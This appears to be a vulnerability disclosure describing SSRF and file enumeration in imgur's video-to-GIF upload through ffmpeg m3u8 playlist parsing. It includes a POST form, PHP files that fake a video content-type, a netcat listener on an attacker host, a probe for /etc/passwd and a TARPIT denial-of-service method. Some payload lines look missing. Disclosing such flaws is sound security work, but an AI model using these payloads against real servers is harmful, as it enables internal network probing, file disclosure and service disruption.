https://imgur.com/vidgif/upload endpoint is vulnerable to a SSRF/LFE vulnerability which allows an attacker to craft connections originating from imgur servers to any destination on the internet and imgur internal network and disclose lists of files located on imgur servers including sensitive data.
imgur allows users to use 'video-to-gif' service. When a user requests conversion of such a video, imgur's servers perform an HTTP HEAD request to a user-supplied URL in order to discover the URL-s content-type and length. After that a user is offered a option to choose the required timestamps for beginning and end of converted video and then imgur performs another HTTP request (GET) to the same video file in order to grab the video file. After imgur downloads the video it evidently performs some sort of operations with ffmpeg (libav). However, ffmpeg has support of several special kinds of files which are not video files but 'playlists'. When processing such playlists ffmpeg performs commands contained and makes HTTP requests to urls listed in such playlists. We will use HTTP Live Streaming playlists (m3u8) in this example.
Although imgur verifies content-types to ignore files which are not actually videos, ffmpeg does not care about such types and will parse a, say, video/avi files with m3u8 lines as a m3u8 file.
To launch a basic SSRF we will prepare a php file which replies with video/avi content-type and m3u8 actual content. When parsing such a file, ffmpeg will make an unwanted HTTP GET request to an attacker-supplied URL.
First, lets prepare a POST-dispatcher page:
<form action="https://imgur.com/vidgif/upload" method="post">
<input type="hidden" name="source" value="http://gradeco.ru/imgur/m3u8.php" />
<input type="hidden" name="url" value="http://gradeco.ru/imgur/m3u8.php" />
<input type="hidden" name="start" value="0.1" />
<input type="hidden" name="stop" value="1.0" />
<input type="submit" />
Now, lets prepare a 'video file' with the payload, we use php to supply a fake content-type
``` <?php header('Content-type: video/avi'); header('Content-Length: 1234'); // random content-length, imgur fails if none provided ?>
http://www.gradeco.ru:12346/BASICSSRF // ffmpeg on imgur side will make this request
After ffmpeg parses the m3u8.php file imgur's server makes a request to an attacker's server:
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [18.104.22.168] port 12346 [tcp/*] accepted (family 2, sport 44251)
GET /BASICSSRF HTTP/1.1
We can see our SSRF identification token ('BASICSSRF') present and some information disclosure - lavf version 55.48.100.
As we can only perform HTTP GET-s with this vulnerability we have to somehow procure more information. Fortunately, ffmpeg m3u8 support provides us with a useful CONCAT command which allows us to concatenate multiple sources. It also fails if source is not present.
To utilize that lets prepare a new m3u8-2.php file:
``` <?php header('content-type: video/avi'); header('content-length: 1234'); ?>
If provided with this file, imgur's server will contact gradeco.ru:12346 in case if /etc/passwd exists and won't if it does not exist. In this way an attacker may easily enumerate files.
To perform a denial of service attack an attacker may prepare a specially crafted YUV4 file which will hang ffmpeg and keep it on constantly performing HTTP GET requests. To do so lets create a separate file with a correct m3u8 header:
and a 'video file'
``` <?php header('Content-type: video/avi'); header('Content-length: 1'); ?>
Redirect port 12346 to TARPIT and then request conversion by sending a following post request:
imgur service will request port 12346, end up in TARPIT and then wait forever for 10 seconds of video to be delivered. That means that it will have an open socket and open process which may lead to resource exhaustion.